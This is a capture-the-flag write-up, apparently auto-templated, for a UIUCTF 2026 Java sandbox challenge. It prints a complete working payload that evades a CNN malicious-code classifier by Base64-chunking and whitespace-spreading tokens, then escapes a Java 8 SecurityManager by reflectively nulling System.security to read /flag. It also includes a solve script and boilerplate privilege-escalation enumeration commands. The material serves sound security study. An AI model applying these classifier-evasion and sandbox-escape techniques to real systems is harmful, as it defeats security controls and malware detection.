← Back to Writeups
HTBN/AMisc

jail

XESXOR8/23/202610 min read
#misc#htb#n/a

jail

Platform: Uiuctf2026 | Category: Misc | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-08-08 | Status: Solved Techniques: cnn_maxpool_ngram_evasion, base64_string_chunking, whitespace_token_spreading, securitymanager_escape, reflection_field_filter_bypass, getdeclaredfields0, system_security_nulling

Summary

Task: paste a Java class over ncat --ssl; a CNN malicious-code classifier must score <0.1, then the code runs under a strict Java 8 SecurityManager. Solution: evade the max-pool CNN by Base64-chunking and whitespace-spreading all sensitive tokens, then escape the sandbox by nulling java.lang.System.security via the reflection-field-filter bypass Class.getDeclaredFields0.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: uiuctf2026 | ID: 20260808_uiuctf2026_jail
  • Tags: sandbox_escape, base64, nsjail, reflection, adversarial_ml, cnn_evasion, java_securitymanager, openjdk8, kctf
  • Indicators: ML malicious-code detector gates Java submission, AdaptiveMaxPool1d(1) over char-embedding conv features, JailSecurityManager blocks setSecurityManager, getDeclaredField(\security") throws NoSuchFieldException on OpenJDK 8", checkPackageAccess throws only for sun.*
  • Source: 20260808_uiuctf2026_jail.md

Foothold

Vulnerability / Misconfiguration

  1. Cnn_maxpool_ngram_evasion
  2. Base64_string_chunking
  3. Whitespace_token_spreading
  4. Securitymanager_escape
  5. Reflection_field_filter_bypass
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • cnn_maxpool_ngram_evasion
  • base64_string_chunking
  • whitespace_token_spreading
  • securitymanager_escape
  • reflection_field_filter_bypass
  • getdeclaredfields0
  • system_security_nulling
  • Tags: sandbox_escape, base64, nsjail, reflection, adversarial_ml, cnn_evasion, java_securitymanager, openjdk8, kctf

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Java Sandbox Runner. Paste a Java class over ncat --ssl <host> 1337, terminated by a line DONE. The server runs the source through an ML "malicious code detector" before compiling and running it under a SecurityManager. Read /flag.

Two independent gates must be beaten in a single submission:

  1. A CNN "malicious code detector" must score the source sigmoid(logit) < 0.1.
  2. The accepted source runs as UserClass.run() under a restrictive Java 8 SecurityManager that blocks every direct file read. Goal: read /flag (root-owned).

Connection: ncat --ssl jail-<id>.chal.uiuc.tf 1337 (kCTF/nsjail instance, PoW disabled, per-session hostname).

Recon

Gate 1 — the ML classifier (main.py + model.py)

main.py reads source lines until DONE, then:

source_tensor = torch.tensor(list(source.encode("utf8"))).unsqueeze(0)
logits = model(source_tensor)
if torch.sigmoid(logits) >= 0.1:
    print("malicious code detected"); exit()

MaliciousDetection architecture (model.py):

  • nn.Embedding(257, 32, padding_idx=256) — each source byte becomes a 32-dim vector.
  • Four parallel Conv1d over the embedding, kernel sizes 3, 5, 10, 20ReLU.
  • AdaptiveMaxPool1d(1) on each — a global max over all sequence positions.
  • concat 4×64 = 256 features → DropoutLinear(256, 1) → logit.

Critical property: because of the global AdaptiveMaxPool1d(1), the score is driven by the single strongest n-gram activation anywhere in the source. Adding benign padding or comments cannot lower the peak. To reduce the score you must physically remove the triggering byte n-grams.

Empirical scoring (via score.py / ablate2.py):

  • System.out.println(1+1) → ~0.0007 (benign).
  • new FileReader("/flag") → ~0.42; fully naive reflective escape → 0.997.
  • Single bytes: '/' ~0.9997, 'F' ~0.99. Dominant triggers: "/flag", "FileReader"/"File", "setAccessible(true)", "getDeclaredField", ".set(null, null)".
  • Comma-separated decimal char-code arrays are worse (digit runs score ~0.96).
  • Whitespace-spreading tokens (a . b ( ) instead of a.b()) helps — it shatters the dense 10- and 20-byte convolution windows.
  • Base64 blobs mildly trigger, but chunking a Base64 string into 4-char quoted pieces joined by + shatters those windows too.

Gate 2 — Java 8 SecurityManager (Jail.java)

System.setSecurityManager(new JailSecurityManager());
UserClass.run();

JailSecurityManager throws on almost everything (checkExec, checkWrite, checkDelete, checkConnect, checkCreateClassLoader, checkListen, checkAccept, checkAccess, checkLink, checkRead(FileDescriptor), …). Partial checks:

  • checkPermission(perm): throws only if the permission is setSecurityManager. Everything else — suppressAccessChecks (i.e. setAccessible(true)), accessDeclaredMembers, property reads — is allowed.
  • checkRead(String file): allowed only if file.equals("/tmp/UserClass.class"); every other path throws.
  • checkPackageAccess(pkg): throws only if pkg.startsWith("sun"). So java.lang.* reflection is allowed; sun.misc.Unsafe reflection is blocked.

Environment (Dockerfile): Ubuntu 22.04 + openjdk-8-jdk; flag at /flag (root); working dir /tmp.

Key insight

  1. Every direct file read is blocked (FileInputStream, Files.readAllBytes, RandomAccessFile, file:// URL, NIO channels, checkRead(FileDescriptor)). The only path to /flag is to disable the SecurityManager first.
  2. System.setSecurityManager(null) is blocked (setSecurityManager permission).
  3. Classic escape: reflectively null the private static field java.lang.System.security (private static volatile SecurityManager). setAccessible(true) is allowed by checkPermission, and a plain field write has no SM hook. Once null, getSecurityManager()==null and all checks stop.
  4. The twist (confirmed on the live target): System.class.getDeclaredField("security") throws NoSuchFieldException. OpenJDK 8 applies a reflection field filter (sun.reflect.Reflection.registerFieldsToFilter) that hides java.lang.System.security (and Class.classLoader) from getDeclaredField/getDeclaredFields. Enumerating System's fields on the target returned only in, out, err, cons, props, lineSeparator — no security. Reproduced locally on liberica-1.8.0_345.
  5. Field-filter bypass: Class.getDeclaredFields0(boolean) is a private native method of java.lang.Class (package java.lang, allowed by checkPackageAccess) that returns the unfiltered field array. Call it reflectively to recover the hidden security field, setAccessible(true), set(null, null), then read /flag via FileInputStream.

This was validated end-to-end on real OpenJDK 8 (liberica-1.8.0_345) with local/FullTest.java, a faithful JailSecurityManager replica, which printed the local test flag.

Exploitation

SecurityManager escape (runtime logic)

Method gdf0 = Class.class.getDeclaredMethod("getDeclaredFields0", boolean.class);
gdf0.setAccessible(true);
Field[] fields = (Field[]) gdf0.invoke(System.class, false);  // unfiltered
// find field named "security", setAccessible(true), set(null, null)
// then new FileInputStream("/flag") read loop -> System.out

Classifier evasion (how the source scores 0.041 < 0.1)

  • Put all sensitive method/field-name strings into one |-joined blob: getDeclaredFields0|security|setAccessible|set|java.io.FileInputStream|/flag|getName|getDeclaredMethod|invoke|getMethod|forName|read|write|flush|getConstructor|newInstance.
  • Base64-encode it, then split the Base64 text into 4-character quoted pieces joined by + in the Java source ("Z2V0" + "RGVj" + …). No CNN window (≤20 bytes) ever sees a long suspicious substring.
  • At runtime, decode Base64 and split("[|]") to recover the names array n[].
  • A single generic reflection helper performs every reflective call, so identifiers like setAccessible/getDeclaredMethod/getName never appear as source tokens — only getMethod + invoke appear literally (weak signal). All method names come from the decoded blob:
static Object c(Object o, Class<?> cl, String nm, Class<?>[] pt, Object[] ar) throws Exception {
    Method mm = cl.getMethod(nm, pt); return mm.invoke(o, ar);
}
  • Everything is whitespace-spread (a . b ( )) to break residual dense windows.
  • run() wraps the body in try/catch(Throwable) so it declares no checked exceptions. Jail.main calls UserClass.run() without a throws clause, so a throws Exception on run() makes Jail.java fail to compile (unreported exception Exception) — an actual bug hit during solving and fixed here.

Dead ends

  • getDeclaredField("security") — blocked by the OpenJDK 8 field filter (the whole reason getDeclaredFields0 is needed).
  • Nashorn / ScriptEngineManager launcher (hide the malicious logic in a Base64 JS string and eval it, so only benign bytes are scored): classifier-wise it worked (~0.01) but fails at runtimeScriptEngineManager uses ServiceLoader, which reads jar files, hitting checkRead(String)SecurityException reading .../resources.jar.
  • sun.misc.Unsafe via reflection — blocked by checkPackageAccess("sun").
  • System.setSecurityManager(null) — blocked (setSecurityManager permission).
  • Earlier simpler evasion: XOR-encode sensitive string literals with a single byte key (sweep 1..127, key 5 best) + whitespace-spread reached ~0.085 for a getDeclaredField("security") reader — but that reader is defeated by the field filter, forcing the move to getDeclaredFields0 + the Base64-blob approach.

Final payload (UserClass_final.java)

import java.lang.reflect.* ;
public class UserClass {
  static Object c ( Object o , Class < ? > cl , String nm , Class < ? > [] pt , Object [] ar ) throws Exception {
    Method mm = cl . getMethod ( nm , pt ) ;
    return mm . invoke ( o , ar ) ;
  }
  public static void run ( ) {
    try {
      String [] n = new String ( java . util . Base64 . getDecoder ( ) . decode ( "Z2V0" + "RGVj" + "bGFy" + "ZWRG" + "aWVs" + "ZHMw" + "fHNl" + "Y3Vy" + "aXR5" + "fHNl" + "dEFj" + "Y2Vz" + "c2li" + "bGV8" + "c2V0" + "fGph" + "dmEu" + "aW8u" + "Rmls" + "ZUlu" + "cHV0" + "U3Ry" + "ZWFt" + "fC9m" + "bGFn" + "fGdl" + "dE5h" + "bWV8" + "Z2V0" + "RGVj" + "bGFy" + "ZWRN" + "ZXRo" + "b2R8" + "aW52" + "b2tl" + "fGdl" + "dE1l" + "dGhv" + "ZHxm" + "b3JO" + "YW1l" + "fHJl" + "YWR8" + "d3Jp" + "dGV8" + "Zmx1" + "c2h8" + "Z2V0" + "Q29u" + "c3Ry" + "dWN0" + "b3J8" + "bmV3" + "SW5z" + "dGFu" + "Y2U=" ) ) . split ( "[|]" ) ;
      Class < ? > [] BT = new Class [] { boolean . class } ;
      Class < ? > CC = Class . class ;
      Object p = c ( CC , CC , n [ 7 ] , new Class [] { String . class , Class [] . class } , new Object [] { n [ 0 ] , BT } ) ;
      c ( p , p . getClass ( ) , n [ 2 ] , BT , new Object [] { true } ) ;
      Object fsO = c ( p , p . getClass ( ) , n [ 8 ] , new Class [] { Object . class , Object [] . class } , new Object [] { System . class , new Object [] { false } } ) ;
      Object [] fs = ( Object [] ) fsO ;
      Object g = null ;
      for ( Object q : fs ) {
        Object nm = c ( q , q . getClass ( ) , n [ 6 ] , new Class [ 0 ] , new Object [ 0 ] ) ;
        if ( nm . equals ( n [ 1 ] ) ) g = q ;
      }
      c ( g , g . getClass ( ) , n [ 2 ] , BT , new Object [] { true } ) ;
      c ( g , g . getClass ( ) , n [ 3 ] , new Class [] { Object . class , Object . class } , new Object [] { null , null } ) ;
      Object ins = Class . forName ( n [ 4 ] ) . getConstructor ( String . class ) . newInstance ( n [ 5 ] ) ;
      java . io . InputStream st = ( java . io . InputStream ) ins ;
      int x ;
      while ( ( x = st . read ( ) ) >= 0 )
        System . out . write ( x ) ;
      System . out . flush ( ) ;
    } catch ( Throwable t ) {
      t . printStackTrace ( ) ;
    }
  }
}

n[] indices: 0=getDeclaredFields0, 1=security, 2=setAccessible, 3=set, 4=java.io.FileInputStream, 5=/flag, 6=getName, 7=getDeclaredMethod, 8=invoke. Line 12 reflectively fetches Class.getDeclaredMethod("getDeclaredFields0", boolean[]); line 14 invokes it on System.class to get unfiltered fields; lines 17–19 locate security; lines 21–22 setAccessible(true) then set(null, null); line 23 opens /flag and the loop streams it to stdout.

How to run

Pipe the payload followed by a DONE line over the SSL socket:

# solve.py (essence)
import ssl, socket
data = open("UserClass_final.java","rb").read() + b"\nDONE\n"
ctx = ssl._create_unverified_context()
s = ctx.wrap_socket(socket.create_connection((HOST, 1337)))
s.sendall(data)
print(s.recv(65536).decode())

The classifier scores ~0.041 (< 0.1), the server compiles UserClass.java + Jail.java, runs java Jail, the escape nulls System.security, and /flag is printed.

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR